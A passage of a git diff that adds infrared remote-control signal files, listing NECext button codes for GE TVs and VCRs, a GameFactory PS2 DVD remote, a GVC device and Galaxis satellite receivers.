4C 00 00 00 +# +name: RIGHT_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4D 00 00 00 +# +name: LEFT_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: RIGHT_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4F 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 50 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 51 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 53 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 54 00 00 00 +# +name: OSD_MENU +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 55 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 57 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 58 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 59 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5A 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5B 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5D 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5E 00 00 00 +# +name: RED_-_COVER_ART +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 60 00 00 00 +# +name: GREEN_-_LIST +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 61 00 00 00 +# +name: YELLOW_-_FAV +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 62 00 00 00 +# +name: BLUE_-_SORT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir b/assets/resources/infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir new file mode 100644 index 000000000..c5fbb0644 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 00 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 01 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 03 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 04 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 05 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 07 00 00 00 +# +name: PREVIOUS_CHAPTER +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 08 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 09 00 00 00 +# +name: CHANGE_SUBTITLE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0A 00 00 00 +# +name: FORWARD_SEARCH +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0E 00 00 00 +# +name: CHANGE_SOUND/MUSIC +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0F 00 00 00 +# +name: GAME/REMOTE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 10 00 00 00 +# +name: SPECIAL +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/TV/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GE/TV/15,-1.ir new file mode 100644 index 000000000..bfb1a239b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GE/TV/15,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: DONE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: PREV_CHANNEL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: CURSOR_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 52 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: SKIP:30 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/VCR/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GE/VCR/11,-1.ir new file mode 100644 index 000000000..a3c6c9842 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GE/VCR/11,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANEL_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: CHANEL_DN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/VCR/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GE/VCR/14,-1.ir new file mode 100644 index 000000000..c43f988a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GE/VCR/14,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: tv_vcr +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: clear_reset +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: tracking_left +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0A 00 00 00 +# +name: tracking_right +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: counter_memory +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1F 00 00 00 +# +name: add_delete +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 39 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 40 00 00 00 +# +name: otr_start +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 44 00 00 00 +# +name: otr_length +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 45 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 46 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 47 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: D1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/VCR/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/GE/VCR/26,73.ir new file mode 100644 index 000000000..73c44fac1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GE/VCR/26,73.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir new file mode 100644 index 000000000..dbc8a4ff1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: tv_vcr +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: clear_reset +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: tracking_down +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0A 00 00 00 +# +name: tracking_up +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: dup_forward_advance +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: counter_memory +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1F 00 00 00 +# +name: add_delete +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: time_am +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 32 00 00 00 +# +name: time_pm +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 39 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 40 00 00 00 +# +name: otr_start +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 44 00 00 00 +# +name: otr_length +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 45 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 46 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 47 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: D1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir new file mode 100644 index 000000000..1e598d635 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 84 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 85 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 88 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 8D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 8E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 92 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 93 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 94 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 95 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir new file mode 100644 index 000000000..f4e80c21f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: 2 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 03 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 09 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 0D 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 21 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 3C 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 3F 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 45 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 4E 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 50 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 58 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 5A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 5C 00 00 00 +# +name: ALT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 61 00 00 00 +# +name: ROT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 6D 00 00 00 +# +name: GRUN +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 6E 00 00 00 +# +name: GELB +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 6F 00 00 00 +# +name: BLAU +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 70 00 00 00 +# +name: NAVIGATOR +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 78 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: CC 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir new file mode 100644 index 000000000..39b4a4cf9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: -.- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: txt? +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: smile +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: txtzoom +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: arrows +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: txtonoff +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: txthalf +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: / +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir new file mode 100644 index 000000000..229dba781 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 09 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 21 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: 